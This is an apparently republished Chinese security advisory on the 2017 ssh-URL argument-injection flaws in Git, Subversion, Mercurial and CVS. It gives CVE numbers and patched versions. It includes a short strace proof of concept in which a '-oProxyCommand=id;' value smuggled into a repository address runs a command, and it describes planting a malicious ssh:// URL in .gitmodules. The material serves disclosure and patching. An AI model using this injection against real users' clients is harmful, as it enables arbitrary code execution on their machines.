【漏洞预警】​多款主流版本控制系统被曝存在客户端任意代码执行漏洞

http://p1.qhimg.com/t019225f9c3b431cf21.jpg

前言

世界各地的程序员请注意,现在必须立即更新你的版本控制系统,Git、SVN、Mercurial开源版本控制系统近日修复严重安全漏洞,未及时升级,则会受到该漏洞的影响。


多款主流版本控制系统存在客户端任意代码执行漏洞

三款主流的源版本控制系统Git、Subversion (svn)、CVS、Mercurial,今日发布了更新补丁,修复了一个客户端代码执行漏洞。

该漏洞由GitLab的Brian Neel,Recurity Labs的Joan Schneeweiss和GitHub的Jeff King发现和报告的。

应用于Linux kernel、GitHub和Gitlab背后的开源版本控制系统Git。今天发布了多个更新版本,Git v2.14.1、2.7.6、v2.8.6、v2.9.5、v2.10.4、v2.11.3、v2.12.4和v2.13.5,用于修复该漏洞。

“此次更新修复了编号为CVE-2017-1000117的漏洞,与Subversion和Mercurial的维护者发布的相似,都存在这个类似的问题。”Git维护者Junio Hamano在邮件列表中写道。

通过-o选项的SSH命令注入,同样影响CVS 1.12.x !

可以配置CVS通过SSH访问远程仓库,比如设置CVS_RSH=ssh,这样的话,只要指定以-o开头的hostname就可以触发

  $ strace -f -e execve cvs -d '-oProxyCommand=id;localhost:/bar' co yada 2>&1 | egrep id
  execve("/usr/bin/cvs", ["cvs", "-d", "-oProxyCommand=id;localhost:/bar", "co", "yada"], 0x7ffe69f75a68 /* 139 vars 
*/) = 0
  [snip]
  [pid 20003] execve("/usr/local/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141 
vars */) = -1 ENOENT (No such file or directory)
  [pid 20003] execve("/usr/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141 vars */) 
= 0
  [pid 20004] execve("/bin/bash", ["/bin/bash", "-c", "exec id;localhost"], 0x32af5f10d0 /* 141 vars */) = 0
  [pid 20004] execve("/usr/bin/id", ["id"], 0xec92226ae0 /* 141 vars */) = 0
  [pid 20004] +++ exited with 0 +++
  [pid 20003] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20004, si_uid=3612, si_status=0, si_utime=0, 
si_stime=0} ---
  ssh_exchange_identification: Connection closed by remote host
  [pid 20003] +++ exited with 255 +++
  --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20003, si_uid=3612, si_status=255, si_utime=0, si_stime=0} 
---


漏洞利用

该漏洞需要结合一些社会工程学技巧才能更好的利用。

Git在其公告中警告:“恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码”。

攻击者通过精心构造一个"ssh://…"URL链接发送给受害者,如果受害者访问了这个URL,则会导致恶意指令在客户端执行。

恶意URL可以放在项目的".gitmodules"文件中,受害者执行“git clone –recurse-submodules”则会触发该漏洞。

Apache Subversion(SVN)1.9.7修补了CVE-2017-9800问题,它与Git中修补的内容是类似的。

“在svn:externals和svn:sync-from-url中通过构造恶意svn+ssh URL则会导致客户端任意代码执行”在此次SVN更新中修复了该安全问题。

开源的Mercurial版本控制系统在4.3和4.2.3修复了该漏洞,漏洞编号为CVE-2017-1000115。


漏洞利用演示截图

http://p5.qhimg.com/t0105073f37d9b7abfc.png

from 360cert

参考链接

http://blog.recurity-labs.com/2017-08-10/scm-vulns 

https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html

http://seclists.org/oss-sec/2017/q3/280

(完)